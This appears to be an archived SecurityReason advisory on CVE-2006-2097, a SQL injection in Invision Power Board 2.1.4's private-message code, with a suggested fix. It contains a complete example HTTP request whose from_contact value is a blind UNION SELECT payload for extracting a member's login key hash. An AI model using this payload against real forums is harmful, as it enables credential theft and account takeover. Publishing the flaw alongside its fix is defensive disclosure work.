|
 |
| SecurityReason | ||
| WLB | ||
| Services | ||
| RSS | ||
| Corporate | ||
| Note | ||
If you have found a vulnerability, please send to our SecurityAlert Database : |
||
Home  SecurityAlert Database |
||||
SecurityAlert : 813 CVE : CVE-2006-2097 SecurityRisk : Medium  (About) Remote Exploit : Yes Local Exploit : No Exploit Available : Yes Credit : satanchild123 hotmail com Published : 02.05.2006
Advisory Content : This exploit has only been tested on 2.1.4. Others are most likely vulnerable but have not yet been tested. Simple SQL injection in func_msg.php on line 448. to_by_id is not properly sanitized. It's passed to the class via an instance of the messenger class, which takes it from the ipb sanitized input array. It has limited use (only know whether the query was successful). To exploit this, make a request to send a PM, but include a value in the request so that from_contact=<SQL INJECTION> Here is an example request: Host: localhost User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20060405 Firefox/1.0.7 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plai n;q=0.8,image/png,*/*;q=0.5 Accept-Language: en,en-us;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 300 Connection: keep-alive Referer: http://localhost/ipb/index.php?act=msg Cookie: bbmode=0; member_id=1; forum_read=a%3A1%3A%7Bi%3A2%3Bi%3A1146068785%3B%7D; pass_hash=c0a4d27ac2c36ef6fe25d27c5c0f3b17; session_id=9dd0de2c068478414d8e7bae7790ce46; ipb-myass-div=310,109 Content-Type: application/x-www-form-urlencoded Content-Length: 438 removeattachid=0&OID=&act=Msg&CODE=04&MODE=01&post_key=1f40fdcbdc94fc9c1 a402e2019f2b314&auth_key=bcb2b3362c8fa575e58cd376ab4fb6be&MAX_FILE_SIZE= 51200000&entered_name=asdfasdfasdf&carbon_copy=&msg_title=asdfasdfasdf&f font=0&fsize=0&Post=asdfasdfasdfasdfasdf&from_contact=-1+UNION+SELECT+0% 2C+CHAR%28110%2C117%2C116%2C105%2C99%2C117%2C108%2C117%2C115%29+FROM+ibf _members+WHERE+id%3D1+AND+MID%28member_login_key%2C+2%2C+1%29+%3D+CHAR%2 848%29 Using an injection like this someone's pass hash could be easily deduced. Simple fix: intval($this->to_by_id)  Feedback : If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com. |
||||
| Alert | ||
Allow attacker to denial of service apache 2.2.17 server |
||
| Apache |  |
|
| PHP | |
|
» libzip 0.9.3 |
||
| ADT | ||
Protect your family and valuables with Home Security Systems |
||
- 2011-05-13| Copyright © SecurityReason.com. All Rights Reserved. |